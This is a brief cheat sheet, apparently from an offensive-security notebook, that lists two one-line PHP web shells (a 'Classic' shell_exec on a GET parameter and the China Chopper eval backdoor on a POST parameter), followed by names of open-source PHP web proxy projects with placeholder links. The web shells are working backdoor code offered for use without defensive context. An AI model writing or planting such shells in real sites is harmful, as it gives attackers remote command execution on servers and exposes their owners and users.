WEB SHELLS
Classic
<?php echo shell_exec($_GET["cmd"]);?>
China Chopper
<?php @eval($_POST['password']);?>
WEB PROXY
Open source options:
- PHPProxy (discontinued) – Source code available at [Link].
- PHP-Proxy – Source code available at [Link].
- Glype – Source code available at [Link].
- PHP Web Proxy – Source code available at [Link].
Free open web proxies:
- Free Proxy – Online at [Link].
PROXY SERVERS IN PHP